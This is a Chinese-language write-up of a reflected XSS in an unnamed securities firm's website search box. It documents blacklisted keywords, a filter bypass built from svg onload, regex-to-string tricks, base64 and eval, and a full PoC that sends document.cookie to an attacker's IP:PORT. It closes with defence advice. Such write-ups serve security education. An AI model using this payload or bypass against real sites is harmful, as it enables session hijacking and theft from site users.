某证券集团网站一处反射型XSS绕过与利用
字数 1411 2025-08-29 08:31:48
反射型XSS绕过与利用技术详解
漏洞背景
本文档详细分析某证券集团网站反射型XSS漏洞的发现、绕过和利用过程,重点介绍在黑名单过滤机制下的突破方法。
漏洞发现过程
1. 回显点确认
在网站搜索功能处进行测试:
- 搜索任意字符串后检查元素,发现存在直接回显
- 尝试闭合DIV标签:
</div><script>alert(1)</script><div> - 闭合成功,但系统仍返回两篇文章,表明存在无害性检测机制
2. 黑名单排查
通过逐一测试,确认以下关键词被过滤(大小写无关):
- JS相关:
script,alert,document,confirm,string,fromcharcode,onerror,window,cookie - 符号相关:单引号(
')、双引号(")、加号(+)、分号(;)
测试案例:
- `` → 无响应(document和引号被过滤)
- `` → 无响应(string, fromCharCode, onerror被过滤)
绕过技术详解
1. 选择合法元素
由于<script>和``相关属性被限制,选择<svg>标签配合onload事件:
<svg/onload=JS代码>onload属性后只能接一个函数才能正常解析
2. 执行函数选择
发现eval未被过滤,可用于执行构造的JS代码:
eval可以执行字符串形式的JS代码- 但需要解决字符串构造问题(引号和String被过滤)
3. 字符串构造方法
创新性地使用正则表达式对象和字符串处理方法:
- 正则表达式对象如
/XSS/本身不是字符串,但调用toString()后变为"/XSS/" - 由于
String被过滤,使用slice和concat方法处理:/http:/.slice(1) →"http:/".concat(/IP:PORT/)→ 连接字符串
- 使用
btoa和atob进行Base64编码解码绕过字符串检测
4. 关键突破点
slice和concat未被过滤- 正则表达式对象可作为字符串替代
- Base64编码函数可用
eval可用
完整PoC构造
?keyword=%3Csvg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))%3E
解码后相当于:
<svg/onload=location.href=atob(btoa(/http:/)).slice(1).concat(/IP:PORT/).concat(eval(atob(btoa(/docum/)).slice(1,-1).concat(atob(btoa(/ent.cookie/)).slice(1,-1))))>
工作原理:
- 构造URL:
http://IP:PORT - 构造
document.cookie字符串:atob(btoa(/docum/)).slice(1,-1)→"docum"atob(btoa(/ent.cookie/)).slice(1,-1)→"ent.cookie"- 连接后得到
"document.cookie"
- 通过
eval执行获取cookie并发送到攻击者服务器
防御建议
- 避免依赖黑名单:黑名单总有遗漏,无法全面防御
- 输出编码:在回显处对用户输入进行HTML实体编码
- 内容安全策略(CSP):实施严格的CSP策略
- 输入验证:对输入数据进行严格验证
- 使用安全框架:利用现代框架的自动编码功能
技术总结
本案例展示了在黑名单过滤机制下如何通过:
- 选择未被过滤的HTML元素和事件
- 利用JS类型转换特性构造字符串
- 组合使用未被过滤的字符串处理方法
- 通过编码转换绕过关键词检测
- 最终实现任意JS代码执行
这种绕过方式具有很高的技术价值,展示了XSS防御的复杂性和黑名单方法的局限性。